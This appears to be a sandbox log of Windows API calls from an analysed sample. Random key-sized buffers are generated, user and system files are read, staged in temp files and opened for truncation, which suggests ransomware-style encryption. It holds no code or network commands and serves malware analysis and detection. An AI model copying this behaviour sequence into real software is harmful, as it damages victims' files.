	[0237.463] CloseHandle (hObject=0x198) returned 1
	[0237.463] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x20, pbBuffer=0xc00000f8a0 | out: pbBuffer=0xc00000f8a0) returned 1
	[0237.464] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x10, pbBuffer=0xc000010b90 | out: pbBuffer=0xc000010b90) returned 1
	[0237.464] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x20, pbBuffer=0xc000001401 | out: pbBuffer=0xc000001401) returned 1
	[0237.466] VirtualAlloc (lpAddress=0xc000400000, dwSize=0x400000, flAllocationType=0x2000, flProtect=0x4) returned 0xc000400000
	[0237.467] VirtualAlloc (lpAddress=0x0, dwSize=0x210c8, flAllocationType=0x3000, flProtect=0x4) returned 0x192ebc90000
	[0237.467] VirtualAlloc (lpAddress=0xc000400000, dwSize=0x2000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000400000
	[0237.468] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\70e0e5d6dad0ef6a0683d53efa03ab13" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\70e0e5d6dad0ef6a0683d53efa03ab13"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198
	[0237.710] GetConsoleMode (in: hConsoleHandle=0x198, lpMode=0xc000199c04 | out: lpMode=0xc000199c04) returned 0
	[0237.710] GetFileType (hFile=0x198) returned 0x1
	[0237.710] WriteFile (in: hFile=0x198, lpBuffer=0xc0001d1b00*, nNumberOfBytesToWrite=0x1aa5, lpNumberOfBytesWritten=0xc000199bec, lpOverlapped=0x0 | out: lpBuffer=0xc0001d1b00*, lpNumberOfBytesWritten=0xc000199bec*=0x1aa5, lpOverlapped=0x0) returned 1
	[0237.712] CloseHandle (hObject=0x198) returned 1
	[0237.742] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\3076\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\3076\\eula.rtf"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x5, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x198
	[0237.744] GetConsoleMode (in: hConsoleHandle=0x198, lpMode=0xc000199d74 | out: lpMode=0xc000199d74) returned 0
	[0237.744] GetFileType (hFile=0x198) returned 0x1
	[0237.744] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\70e0e5d6dad0ef6a0683d53efa03ab13" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\70e0e5d6dad0ef6a0683d53efa03ab13"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0x19c
	[0237.744] GetConsoleMode (in: hConsoleHandle=0x19c, lpMode=0xc000199d74 | out: lpMode=0xc000199d74) returned 0
	[0237.745] GetFileType (hFile=0x19c) returned 0x1
	[0237.745] VirtualAlloc (lpAddress=0xc000402000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0xc000402000
	[0237.745] ReadFile (in: hFile=0x19c, lpBuffer=0xc000402000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000199bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000402000*, lpNumberOfBytesRead=0xc000199bd4*=0x1aa5, lpOverlapped=0x0) returned 1
	[0237.746] WriteFile (in: hFile=0x198, lpBuffer=0xc000402000*, nNumberOfBytesToWrite=0x1aa5, lpNumberOfBytesWritten=0xc000199b74, lpOverlapped=0x0 | out: lpBuffer=0xc000402000*, lpNumberOfBytesWritten=0xc000199b74*=0x1aa5, lpOverlapped=0x0) returned 1
	[0237.748] ReadFile (in: hFile=0x19c, lpBuffer=0xc000402000, nNumberOfBytesToRead=0x8000, lpNumberOfBytesRead=0xc000199bd4, lpOverlapped=0x0 | out: lpBuffer=0xc000402000*, lpNumberOfBytesRead=0xc000199bd4*=0x0, lpOverlapped=0x0) returned 1
	[0237.748] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\70e0e5d6dad0ef6a0683d53efa03ab13" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\70e0e5d6dad0ef6a0683d53efa03ab13")) returned 0
	[0237.749] RemoveDirectoryW (lpPathName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\70e0e5d6dad0ef6a0683d53efa03ab13" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\70e0e5d6dad0ef6a0683d53efa03ab13")) returned 0
	[0237.749] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\70e0e5d6dad0ef6a0683d53efa03ab13" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\70e0e5d6dad0ef6a0683d53efa03ab13")) returned 0x20
	[0237.749] CloseHandle (hObject=0x19c) returned 1
	[0237.749] CloseHandle (hObject=0x198) returned 1
	[0237.750] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\70e0e5d6dad0ef6a0683d53efa03ab13" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\70e0e5d6dad0ef6a0683d53efa03ab13")) returned 1
	[0237.891] WaitForSingleObject (hHandle=0xe4, dwMilliseconds=0xffffffff) returned 0x0
	[0237.966] WaitForSingleObject (hHandle=0xe4, dwMilliseconds=0xffffffff) returned 0x0
	[0238.141] WaitForSingleObject (hHandle=0xe4, dwMilliseconds=0xffffffff) returned 0x0
	[0238.217] WaitForSingleObject (hHandle=0xe4, dwMilliseconds=0xffffffff) returned 0x0
	[0238.227] WaitForSingleObject (hHandle=0xe4, dwMilliseconds=0xffffffff) returned 0x0
	[0238.239] WaitForSingleObject (hHandle=0xe4, dwMilliseconds=0xffffffff) returned 0x0
	[0238.281] SwitchToThread () returned 1
	[0238.321] SetEvent (hEvent=0xf0) returned 1
	[0238.321] ReadFile (in: hFile=0x1a8, lpBuffer=0xc0004bc000, nNumberOfBytesToRead=0x2200, lpNumberOfBytesRead=0xc00044fb04, lpOverlapped=0x0 | out: lpBuffer=0xc0004bc000*, lpNumberOfBytesRead=0xc00044fb04*=0x2000, lpOverlapped=0x0) returned 1
	[0238.350] ReadFile (in: hFile=0x1a8, lpBuffer=0xc0004be000, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0xc00044fb04, lpOverlapped=0x0 | out: lpBuffer=0xc0004be000*, lpNumberOfBytesRead=0xc00044fb04*=0x0, lpOverlapped=0x0) returned 1
	[0238.350] CloseHandle (hObject=0x1a8) returned 1
	[0238.350] WaitForSingleObject (hHandle=0xe4, dwMilliseconds=0xffffffff) returned 0x0
	[0238.406] SetEvent (hEvent=0xf0) returned 1
	[0238.406] VirtualAlloc (lpAddress=0xc0004ca000, dwSize=0x8000, flAllocationType=0x1000, flProtect=0x4) returned 0xc0004ca000
	[0238.408] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x20, pbBuffer=0xc00000e2e0 | out: pbBuffer=0xc00000e2e0) returned 1
	[0238.408] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x10, pbBuffer=0xc00021a180 | out: pbBuffer=0xc00021a180) returned 1
	[0238.408] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x20, pbBuffer=0xc000000501 | out: pbBuffer=0xc000000501) returned 1
	[0238.409] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\f47adf2eee67c458e3e5269d5357da7c" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\f47adf2eee67c458e3e5269d5357da7c"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1a8
	[0238.409] GetConsoleMode (in: hConsoleHandle=0x1a8, lpMode=0xc0004d1c04 | out: lpMode=0xc0004d1c04) returned 0
	[0238.409] GetFileType (hFile=0x1a8) returned 0x1
	[0238.410] WriteFile (in: hFile=0x1a8, lpBuffer=0xc0004be500*, nNumberOfBytesToWrite=0x2100, lpNumberOfBytesWritten=0xc0004d1bec, lpOverlapped=0x0 | out: lpBuffer=0xc0004be500*, lpNumberOfBytesWritten=0xc0004d1bec*=0x2100, lpOverlapped=0x0) returned 1
	[0238.412] CloseHandle (hObject=0x1a8) returned 1
	[0238.413] CreateFileW (lpFileName="C:\\BOOTSECT.BAK" (normalized: "c:\\bootsect.bak"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x5, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0238.413] FindFirstFileW (in: lpFileName="C:\\BOOTSECT.BAK\\*", lpFindFileData=0xc0004d1a78 | out: lpFindFileData=0xc0004d1a78*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
	[0238.414] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\f47adf2eee67c458e3e5269d5357da7c" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\f47adf2eee67c458e3e5269d5357da7c")) returned 1
	[0238.416] SwitchToThread () returned 1
	[0238.453] FindClose (in: hFindFile=0x192c63cdac0 | out: hFindFile=0x192c63cdac0) returned 1
	[0238.454] WaitForSingleObject (hHandle=0xe4, dwMilliseconds=0xffffffff) returned 0x0
	[0238.467] WaitForSingleObject (hHandle=0xe4, dwMilliseconds=0xffffffff) returned 0x0
	[0238.477] SetEvent (hEvent=0xf0) returned 1
	[0238.477] VirtualFree (lpAddress=0xc00049c000, dwSize=0x2000, dwFreeType=0x4000) returned 1
	[0238.478] WaitForSingleObject (hHandle=0xe4, dwMilliseconds=0xffffffff) returned 0x0
	[0238.793] WaitForSingleObject (hHandle=0xe4, dwMilliseconds=0xffffffff) returned 0x0
	[0238.867] WaitForSingleObject (hHandle=0xe4, dwMilliseconds=0xffffffff) returned 0x0
	[0238.997] WaitForSingleObject (hHandle=0xe4, dwMilliseconds=0xffffffff) returned 0x0
	[0239.015] WaitForSingleObject (hHandle=0xe4, dwMilliseconds=0xffffffff) returned 0x0
	[0239.086] SetEvent (hEvent=0x1a0) returned 1
	[0239.087] SetEvent (hEvent=0xf0) returned 1
	[0239.087] VirtualFree (lpAddress=0xc00042c000, dwSize=0x2000, dwFreeType=0x4000) returned 1
	[0239.087] WaitForSingleObject (hHandle=0xe4, dwMilliseconds=0xffffffff) returned 0x0
	[0239.116] WaitForSingleObject (hHandle=0xe4, dwMilliseconds=0xffffffff) returned 0x0
	[0239.211] WaitForSingleObject (hHandle=0xe4, dwMilliseconds=0xffffffff) returned 0x0
	[0239.282] WaitForSingleObject (hHandle=0xe4, dwMilliseconds=0xffffffff) returned 0x0
	[0239.289] WaitForSingleObject (hHandle=0xe4, dwMilliseconds=0xffffffff) returned 0x0
	[0239.295] WaitForSingleObject (hHandle=0xe4, dwMilliseconds=0xffffffff) returned 0x0
	[0239.306] WaitForSingleObject (hHandle=0xe4, dwMilliseconds=0xffffffff) returned 0x0
	[0239.352] WaitForSingleObject (hHandle=0xe4, dwMilliseconds=0xffffffff) returned 0x0
	[0239.492] WaitForSingleObject (hHandle=0xe4, dwMilliseconds=0xffffffff) returned 0x0
	[0239.641] SetEvent (hEvent=0xf0) returned 1
	[0239.641] VirtualFree (lpAddress=0xc00040a000, dwSize=0x2000, dwFreeType=0x4000) returned 1
	[0239.641] WaitForSingleObject (hHandle=0xe4, dwMilliseconds=0xffffffff) returned 0x0
	[0239.648] WaitForSingleObject (hHandle=0xe4, dwMilliseconds=0xffffffff) returned 0x0
	[0239.651] WaitForSingleObject (hHandle=0xe4, dwMilliseconds=0xffffffff) returned 0x0
	[0239.772] WaitForSingleObject (hHandle=0xe4, dwMilliseconds=0xffffffff) returned 0x0
	[0239.888] WaitForSingleObject (hHandle=0xe4, dwMilliseconds=0xffffffff) returned 0x0
	[0239.945] WaitForSingleObject (hHandle=0xe4, dwMilliseconds=0xffffffff) returned 0x0
	[0239.978] WaitForSingleObject (hHandle=0xe4, dwMilliseconds=0xffffffff) returned 0x0
	[0240.142] SetEvent (hEvent=0x188) returned 1
	[0240.142] WaitForSingleObject (hHandle=0xe4, dwMilliseconds=0xffffffff) returned 0x0
	[0241.837] WaitForSingleObject (hHandle=0xe4, dwMilliseconds=0xffffffff) returned 0x0
	[0241.870] SetEvent (hEvent=0x1a0) returned 1
	[0241.870] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0xc000225d94, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000225d94, lpOverlapped=0x0) returned 0
	[0241.870] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0xa6, lpNumberOfBytesWritten=0xc000225d94, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc000225d94, lpOverlapped=0x0) returned 0
	[0241.871] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Peacock.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\peacock.jpg"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0x19c
	[0241.871] GetConsoleMode (in: hConsoleHandle=0x19c, lpMode=0xc000225bf4 | out: lpMode=0xc000225bf4) returned 0
	[0241.871] GetFileType (hFile=0x19c) returned 0x1
	[0241.871] GetFileType (hFile=0x19c) returned 0x1
	[0241.871] GetFileInformationByHandle (in: hFile=0x19c, lpFileInformation=0xc000225c44 | out: lpFileInformation=0xc000225c44) returned 1
	[0241.871] GetFileInformationByHandleEx (in: hFile=0x19c, FileInformationClass=0x9, lpFileInformation=0xc000225c28, dwBufferSize=0x8 | out: lpFileInformation=0xc000225c28) returned 1
	[0241.872] ReadFile (in: hFile=0x19c, lpBuffer=0xc00019e000, nNumberOfBytesToRead=0x15fb, lpNumberOfBytesRead=0xc000225b04, lpOverlapped=0x0 | out: lpBuffer=0xc00019e000*, lpNumberOfBytesRead=0xc000225b04*=0x13fb, lpOverlapped=0x0) returned 1
	[0241.879] ReadFile (in: hFile=0x19c, lpBuffer=0xc00019f3fb, nNumberOfBytesToRead=0x200, lpNumberOfBytesRead=0xc000225b04, lpOverlapped=0x0 | out: lpBuffer=0xc00019f3fb*, lpNumberOfBytesRead=0xc000225b04*=0x0, lpOverlapped=0x0) returned 1
	[0241.879] CloseHandle (hObject=0x19c) returned 1
	[0241.880] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x20, pbBuffer=0xc00000f780 | out: pbBuffer=0xc00000f780) returned 1
	[0241.880] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x10, pbBuffer=0xc00021ab40 | out: pbBuffer=0xc00021ab40) returned 1
	[0241.880] CryptGenRandom (in: hProv=0x192c63dcb20, dwLen=0x20, pbBuffer=0xc000001101 | out: pbBuffer=0xc000001101) returned 1
	[0241.880] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\377fb7627a172221f01d406bbf93df17" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\377fb7627a172221f01d406bbf93df17"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x19c
	[0241.881] GetConsoleMode (in: hConsoleHandle=0x19c, lpMode=0xc000225c04 | out: lpMode=0xc000225c04) returned 0
	[0241.881] GetFileType (hFile=0x19c) returned 0x1
	[0241.881] WriteFile (in: hFile=0x19c, lpBuffer=0xc0000d5500*, nNumberOfBytesToWrite=0x14fb, lpNumberOfBytesWritten=0xc000225bec, lpOverlapped=0x0 | out: lpBuffer=0xc0000d5500*, lpNumberOfBytesWritten=0xc000225bec*=0x14fb, lpOverlapped=0x0) returned 1
	[0241.883] CloseHandle (hObject=0x19c) returned 1
	[0241.884] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Peacock.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\peacock.jpg"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x5, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0241.885] FindFirstFileW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\Peacock.jpg\\*", lpFindFileData=0xc000225a78 | out: lpFindFileData=0xc000225a78*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
	[0241.885] DeleteFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\377fb7627a172221f01d406bbf93df17" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\377fb7627a172221f01d406bbf93df17")) returned 1
	[0241.887] WaitForSingleObject (hHandle=0xe4, dwMilliseconds=0xffffffff) returned 0x0
	[0241.927] WaitForSingleObject (hHandle=0xe4, dwMilliseconds=0xffffffff) returned 0x0
	[0241.971] WaitForSingleObject (hHandle=0xe4, dwMilliseconds=0xffffffff) returned 0x0
	[0242.029] WaitForSingleObject (hHandle=0xe4, dwMilliseconds=0xffffffff) returned 0x0
	[0242.244] WaitForSingleObject (hHandle=0xe4, dwMilliseconds=0xffffffff) returned 0x0
	[0242.399] WaitForSingleObject (hHandle=0xe4, dwMilliseconds=0xffffffff) returned 0x0
	[0242.551] SetEvent (hEvent=0x1a0) returned 1
	[0242.551] SetEvent (hEvent=0xf0) returned 1
	[0242.551] DuplicateHandle (in: hSourceProcessHandle=0xffffffffffffffff, hSourceHandle=0x13c, hTargetProcessHandle=0xffffffffffffffff, lpTargetHandle=0x70703ff4d8, dwDesiredAccess=0x0, bInheritHandle=0, dwOptions=0x2 | out: lpTargetHandle=0x70703ff4d8*=0x19c) returned 1
	[0242.551] SuspendThread (hThread=0x19c) returned 0x0
	[0242.551] GetThreadContext (in: hThread=0x19c, lpContext=0x70703ff4f0 | out: lpContext=0x70703ff4f0*(P1Home=0x0, P2Home=0x0, P3Home=0x0, P4Home=0x0, P5Home=0x0, P6Home=0x0, ContextFlags=0x100001, MxCsr=0x0, SegCs=0x33, SegDs=0x0, SegEs=0x0, SegFs=0x0, SegGs=0x0, SegSs=0x2b, EFlags=0x246, Dr0=0x0, Dr1=0x0, Dr2=0x0, Dr3=0x0, Dr6=0x0, Dr7=0x0, Rax=0x0, Rcx=0x0, Rdx=0x0, Rbx=0x0, Rsp=0x70709ff628, Rbp=0x0, Rsi=0x0, Rdi=0x0, R8=0x0, R9=0x0, R10=0x0, R11=0x0, R12=0x0, R13=0x0, R14=0x0, R15=0x0, Rip=0x7fff4f8d5ef4, FltSave.ControlWord=0x0, FltSave.StatusWord=0x0, FltSave.TagWord=0x0, FltSave.Reserved1=0x0, FltSave.ErrorOpcode=0x0, FltSave.ErrorOffset=0x0, FltSave.ErrorSelector=0x0, FltSave.Reserved2=0x0, FltSave.DataOffset=0x0, FltSave.DataSelector=0x0, FltSave.Reserved3=0x0, FltSave.MxCsr=0x0, FltSave.MxCsr_Mask=0x0, FltSave.FloatRegisters.Low=0x0, FltSave.FloatRegisters.High=0x0, FltSave.XmmRegisters.Low=0x0, FltSave.XmmRegisters.High=0x0, FltSave.Reserved4=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x0, [8]=0x0, [9]=0x0, [10]=0x0, [11]=0x0, [12]=0x0, [13]=0x0, [14]=0x0, [15]=0x0, [16]=0x0, [17]=0x0, [18]=0x0, [19]=0x0, [20]=0x0, [21]=0x0, [22]=0x0, [23]=0x0, [24]=0x0, [25]=0x0, [26]=0x0, [27]=0x0, [28]=0x0, [29]=0x0, [30]=0x0, [31]=0x0, [32]=0x0, [33]=0x0, [34]=0x0, [35]=0x0, [36]=0x0, [37]=0x0, [38]=0x0, [39]=0x0, [40]=0x0, [41]=0x0, [42]=0x0, [43]=0x0, [44]=0x0, [45]=0x0, [46]=0x0, [47]=0x0, [48]=0x0, [49]=0x0, [50]=0x0, [51]=0x0, [52]=0x0, [53]=0x0, [54]=0x0, [55]=0x0, [56]=0x0, [57]=0x0, [58]=0x0, [59]=0x0, [60]=0x0, [61]=0x0, [62]=0x0, [63]=0x0, [64]=0x0, [65]=0x0, [66]=0x0, [67]=0x0, [68]=0x0, [69]=0x0, [70]=0x0, [71]=0x0, [72]=0x0, [73]=0x0, [74]=0x0, [75]=0x0, [76]=0x0, [77]=0x0, [78]=0x0, [79]=0x0, [80]=0x0, [81]=0x0, [82]=0x0, [83]=0x0, [84]=0x0, [85]=0x0, [86]=0x0, [87]=0x0, [88]=0x0, [89]=0x0, [90]=0x0, [91]=0x0, [92]=0x0, [93]=0x0, [94]=0x0, [95]=0x0, [96]=0x0, [97]=0x0, [98]=0x0, [99]=0x0, [100]=0x0, [101]=0x0, [102]=0x0, [103]=0x0, [104]=0x0, [105]=0x0, [106]=0x0, [107]=0x0, [108]=0x0, [109]=0x0, [110]=0x0, [111]=0x0, [112]=0x0, [113]=0x0, [114]=0x0, [115]=0x0, [116]=0x0, [117]=0x0, [118]=0x0, [119]=0x0, [120]=0x0, [121]=0x0, [122]=0x0, [123]=0x0, [124]=0x0, [125]=0x0, [126]=0x0, [127]=0x0, [128]=0x0, [129]=0x0, [130]=0x0, [131]=0x0, [132]=0x0, [133]=0x0, [134]=0x0, [135]=0x0, [136]=0x0, [137]=0x0, [138]=0x0, [139]=0x0, [140]=0x0, [141]=0x0, [142]=0x0, [143]=0x0, [144]=0x0, [145]=0x0, [146]=0x0, [147]=0x0, [148]=0x0, [149]=0x0, [150]=0x0, [151]=0x0, [152]=0x0, [153]=0x0, [154]=0x0, [155]=0x0, [156]=0x0, [157]=0x0, [158]=0x0, [159]=0x0, [160]=0x0, [161]=0x0, [162]=0x0, [163]=0x0, [164]=0x0, [165]=0x0, [166]=0x0, [167]=0x0, [168]=0x0, [169]=0x0, [170]=0x0, [171]=0x0, [172]=0x0, [173]=0x0, [174]=0x0, [175]=0x0, [176]=0x0, [177]=0x0, [178]=0x0, [179]=0x0, [180]=0x0, [181]=0x0, [182]=0x0, [183]=0x0, [184]=0x0, [185]=0x0, [186]=0x0, [187]=0x0, [188]=0x0, [189]=0x0, [190]=0x0, [191]=0x0), FltSave.StackControl=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0), FltSave.Cr0NpxState=0x0, Header.Low=0x0, Header.High=0x0, Legacy.Low=0x0, Legacy.High=0x0, Xmm0.Low=0x0, Xmm0.High=0x0, Xmm1.Low=0x0, Xmm1.High=0x0, Xmm2.Low=0x0, Xmm2.High=0x0, Xmm3.Low=0x0, Xmm3.High=0x0, Xmm4.Low=0x0, Xmm4.High=0x0, Xmm5.Low=0x0, Xmm5.High=0x0, Xmm6.Low=0x0, Xmm6.High=0x0, Xmm7.Low=0x0, Xmm7.High=0x0, Xmm8.Low=0x0, Xmm8.High=0x0, Xmm9.Low=0x0, Xmm9.High=0x0, Xmm10.Low=0x0, Xmm10.High=0x0, Xmm11.Low=0x0, Xmm11.High=0x0, Xmm12.Low=0x0, Xmm12.High=0x0, Xmm13.Low=0x0, Xmm13.High=0x0, Xmm14.Low=0x0, Xmm14.High=0x0, Xmm15.Low=0x0, Xmm15.High=0x0, VectorRegister.Low=0x0, VectorRegister.High=0x0, VectorControl=0x0, DebugControl=0x0, LastBranchToRip=0x0, LastBranchFromRip=0x0, LastExceptionToRip=0x0, LastExceptionFromRip=0x0)) returned 1
	[0242.570] ResumeThread (hThread=0x19c) returned 0x1
	[0242.570] CloseHandle (hObject=0x19c) returned 1
	[0242.571] WaitForSingleObject (hHandle=0xe4, dwMilliseconds=0xffffffff) returned 0x0
	[0243.003] VirtualFree (lpAddress=0xc00067a000, dwSize=0x2000, dwFreeType=0x4000) returned 1
	[0243.004] WaitForSingleObject (hHandle=0xe4, dwMilliseconds=0xffffffff) returned 0x0
	[0243.063] SetEvent (hEvent=0x1a0) returned 1
	[0243.063] WaitForSingleObject (hHandle=0xe4, dwMilliseconds=0xffffffff) returned 0x0
	[0243.117] SetEvent (hEvent=0xd4) returned 1
	[0243.118] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\delete.avi"), fInfoLevelId=0x0, lpFileInformation=0xc0002256b8 | out: lpFileInformation=0xc0002256b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x989f72a7, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xd1a612b1, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd1a612b1, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x32e18)) returned 1
	[0243.118] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x61, lpNumberOfBytesWritten=0xc00022566c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc00022566c, lpOverlapped=0x0) returned 0
	[0243.118] WriteFile (in: hFile=0x0, lpBuffer=0xc0002360c0, nNumberOfBytesToWrite=0x4d, lpNumberOfBytesWritten=0xc00022566c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc00022566c, lpOverlapped=0x0) returned 0
	[0243.118] VirtualFree (lpAddress=0xc000676000, dwSize=0x2000, dwFreeType=0x4000) returned 1
	[0243.119] WaitForSingleObject (hHandle=0xe4, dwMilliseconds=0xffffffff) returned 0x0
	[0244.488] SetEvent (hEvent=0x190) returned 1
	[0244.488] SetEvent (hEvent=0x17c) returned 1
	[0244.488] VirtualFree (lpAddress=0xc0007d6000, dwSize=0x2000, dwFreeType=0x4000) returned 1
	[0244.489] WaitForSingleObject (hHandle=0xe4, dwMilliseconds=0xffffffff) returned 0x0
	[0244.573] SetEvent (hEvent=0x17c) returned 1
	[0244.573] SetEvent (hEvent=0x190) returned 1
	[0244.573] VirtualFree (lpAddress=0xc0007d0000, dwSize=0x2000, dwFreeType=0x4000) returned 1
	[0244.573] WaitForSingleObject (hHandle=0xe4, dwMilliseconds=0xffffffff) returned 0x0
	[0244.672] SetEvent (hEvent=0x17c) returned 1
	[0244.672] SetEvent (hEvent=0x190) returned 1
	[0244.672] VirtualFree (lpAddress=0xc0007ca000, dwSize=0x2000, dwFreeType=0x4000) returned 1
	[0244.672] WaitForSingleObject (hHandle=0xe4, dwMilliseconds=0xffffffff) returned 0x0
	[0244.727] WaitForSingleObject (hHandle=0xe4, dwMilliseconds=0xffffffff) returned 0x0
	[0244.777] SetEvent (hEvent=0x190) returned 1
	[0244.777] WriteFile (in: hFile=0x0, lpBuffer=0xc000072480, nNumberOfBytesToWrite=0x47, lpNumberOfBytesWritten=0xc0001e3d94, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001e3d94, lpOverlapped=0x0) returned 0
	[0244.777] WriteFile (in: hFile=0x0, lpBuffer=0xc000072480, nNumberOfBytesToWrite=0x99, lpNumberOfBytesWritten=0xc0001e3d94, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0xc0001e3d94, lpOverlapped=0x0) returned 0
	[0244.778] CreateFileW (lpFileName="C:\\Program Files\\Java\\jre1.8.0_144\\bin\\server\\Xusage.txt" (normalized: "c:\\program files\\java\\jre1.8.0_144\\bin\\server\\xusage.txt"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x1, hTemplateFile=0x0) returned 0x120
	[0244.778] GetConsoleMode (in: hConsoleHandle=0x120, lpMode=0xc0001e3bf4 | out: lpMode=0xc0001e3bf4) returned 0
	[0244.778] GetFileType (hFile=0x120) returned 0x1
	[0244.778] GetFileType (hFile=0x120) returned 0x1
	[0244.778] GetFileInformationByHandle (in: hFile=0x120, lpFileInformation=0xc0001e3c44 | out: lpFileInformation=0xc0001e3c44) returned 1
	[0244.778] GetFileInformationByHandleEx (in: hFile=0x120, FileInformationClass=0x9, lpFileInformation=0xc0001e3c28, dwBufferSize=0x8 | out: lpFileInformation=0xc0001e3c28) returned 1
